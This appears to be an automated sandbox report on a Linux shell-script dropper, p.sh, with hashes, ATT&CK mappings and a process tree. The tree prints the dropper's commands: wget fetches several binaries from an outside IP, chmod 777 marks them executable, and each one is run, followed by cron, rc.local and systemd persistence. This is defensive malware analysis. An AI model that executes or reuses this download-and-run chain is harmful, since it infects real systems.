2e44d415d83aaf79514ba2398d43095cea216fd048fbd4c3cb7111fa1d1663ec

Analysis

max time kernel
149s
max time network
142s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/07/2026, 08:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 835B
Sample260719-krvbwsfz7m
SHA256 2e44d415d83aaf79514ba2398d43095cea216fd048fbd4c3cb7111fa1d1663ec
MD5 b6aa265d7878ffab703ca6fec15ca0f9
SHA1 788ea9072c5f61c84c879ccb858ba2a8fe507fd4
SHA512 219ac483582337f3bb2c2901361fce7f0eb2e56e01901b9d097b2e82ca96c5fb76024a07648a1036b4ab2e8c86e051872afe67678cc77da7b4559ddce64da3d2
TLSH
T1DA01ABCA92709900006D885D72B6D6B0B431C3C6154A4FB8BFDCE63DEF89E24B076F98
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
769	chmod
794	chmod
801	chmod
820	chmod
824	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/mFp	773	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	mFp
File opened for modification	/etc/crontab	mFp

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	mFp

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	mFp

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	mFp

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/17/cmdline	mFp
File opened for reading	/proc/862/exe	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/exe	mFp
File opened for reading	/proc/43/cmdline	mFp
File opened for reading	/proc/639/cmdline	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/138/cmdline	mFp
File opened for reading	/proc/574/cmdline	mFp
File opened for reading	/proc/846/exe	mFp
File opened for reading	/proc/869/exe	mFp
File opened for reading	/proc/884/cmdline	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/23/cmdline	mFp
File opened for reading	/proc/97/cmdline	mFp
File opened for reading	/proc/105/cmdline	mFp
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/838/exe	mFp
File opened for reading	/proc/855/exe	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/11/cmdline	mFp
File opened for reading	/proc/776/exe	mFp
File opened for reading	/proc/811/cmdline	mFp
File opened for reading	/proc/865/exe	mFp
File opened for reading	/proc/7/cmdline	mFp
File opened for reading	/proc/153/cmdline	mFp
File opened for reading	/proc/166/cmdline	mFp
File opened for reading	/proc/596/cmdline	mFp
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/842/cmdline	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/771/cmdline	mFp
File opened for reading	/proc/850/exe	mFp
File opened for reading	/proc/857/exe	mFp
File opened for reading	/proc/890/exe	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/277/exe	mFp
File opened for reading	/proc/28/cmdline	mFp
File opened for reading	/proc/169/exe	mFp
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/848/cmdline	mFp
File opened for reading	/proc/852/cmdline	mFp
File opened for reading	/proc/6/cmdline	mFp
File opened for reading	/proc/18/cmdline	mFp
File opened for reading	/proc/20/cmdline	mFp
File opened for reading	/proc/294/cmdline	mFp
File opened for reading	/proc/831/cmdline	mFp
File opened for reading	/proc/836/cmdline	mFp
File opened for reading	/proc/837/exe	mFp
File opened for reading	/proc/853/cmdline	mFp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/795/exe	mFp
File opened for reading	/proc/853/exe	mFp
File opened for reading	/proc/882/exe	mFp
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mFp	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:658
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:667
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:673
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/153/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/158/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/208/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/271/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/277/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/296/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/301/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/307/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/319/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/321/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/564/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/572/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/574/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/596/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/631/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  PID:750
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:752
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/97/exe
  2⤵
  PID:756
- /bin/rm
  rm -rf mFp
  2⤵
  PID:758
- /usr/bin/wget
  wget http://129.121.110.105/mFp
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 mFp
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/mFp
  ./mFp pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:773
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:792
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:793
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:793
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:792
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:792
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:793
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:792
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:793
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:792
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:793
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:792
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:793
- /bin/rm
  rm -rf JN2M
  2⤵
  PID:778
- /usr/bin/wget
  wget http://129.121.110.105/JN2M
  2⤵
  PID:790
- /bin/chmod
  chmod 777 JN2M
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/JN2M
  ./JN2M pdvr
  2⤵
  PID:796
- /bin/rm
  rm -rf oVH
  2⤵
  PID:797
- /usr/bin/wget
  wget http://129.121.110.105/oVH
  2⤵
  PID:799
- /bin/chmod
  chmod 777 oVH
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/oVH
  ./oVH pdvr
  2⤵
  PID:807
- /bin/rm
  rm -rf u2yu
  2⤵
  PID:809
- /usr/bin/wget
  wget http://129.121.110.105/u2yu
  2⤵
  PID:815
- /bin/chmod
  chmod 777 u2yu
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/u2yu
  ./u2yu pdvr
  2⤵
  PID:821
- /bin/rm
  rm -rf OTw
  2⤵
  PID:822
- /usr/bin/wget
  wget http://129.121.110.105/OTw
  2⤵
  PID:823
- /bin/chmod
  chmod 777 OTw
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/OTw
  ./OTw pdvr
  2⤵
  PID:825
- /bin/rm
  rm -rf p
  2⤵
  PID:826

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 30B
SHA256 82a1d22bb66f85594f5509aaf71ee62f2ac6468aa9a76ebb9b37abef66513400
MD5 3e171f3cece10e5bc5b1f57feab05b57
SHA1 ddb2405c70fea4ff6a1cbb5adb764c72ba1d3ff9
SHA512 bd2759f71ea361ceb2ab37bc3ea06fb7750a85e98bae8f4c830c466272fd76e7bf4fafcce91fe5e63ede6dedfb279aea5af0175980d97cf28fa7b333de4a47cb
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 34B
SHA256 0385df7401bd4991bd53aa427e0cead8c13b3722b42d5af906dbbf70a5c17960
MD5 3b885d75b8c216fcbb2e65b1e7a9d8fd
SHA1 7352d3e7bacf1706d63fe3b09be948df2f8d8bf2
SHA512 c0a2516abf6d3e88575266f7742225bc27a2d9d823f1d1d171e1b8b791828a92903bf5cb789cbea2070481ed9f99a1d98d402749165ff19f41102cbc87d5b0f9
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 193B
SHA256 4b14c1e267968562a95d93346eb9985fdcfb113b9fd2ecd32513f4104eb9475d
MD5 4b5bb729ee50693fd65e9bc31fcee46c
SHA1 a07a1040978192d0a6d001f8d6c8d2915c1aba44
SHA512 91bd21ee8b85a6ae6b9dbd051c44ab694818c2effbbe0d7b80608476c0760da0c545f4e6af96d89e7c643648a979e1be6b43d106c91f6197107cfdc7dcdb239d
TLSH
T168C02223986114A0894F3AB2AEE32B848DA102004ACFA2B00BC018292DE20E72121DAE
MD5 SHA1 SHA512 TLSH

Submit Download

mFp

Path /tmp/mFp
Size 69KB
SHA256 40acc685cacbc3268a80fcb52c5250fabd08f3895f8d7e9cbc21536631a2ca21
MD5 a478cbfd5897ef9761f9dbaffb98669d
SHA1 212fc8b41ed00fa9ce4a1de6e462e4c21f807ea7
SHA512 7a200763f6624b1803844ced0fdffb527071aaea5d6a8a5a217673a86d496184d74c55fdda3cafa6d32bf39f9084fac9a37cdca8941acfc9c651c95c0ca1d6ff
SSDEEP 1536:CfzOzmaKLtw1bAyKsYGNNPSbAb1Sbv/67AQWjtZcXFFO1UAgkIYF:CfzOzmHtIEolNu+1Sb/6UQMnMFFO1UAd
TLSH
T1C163097679819F26C1D52677BF2D438C331723B8E3EA7113EA196F6137CB92A0D2A141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads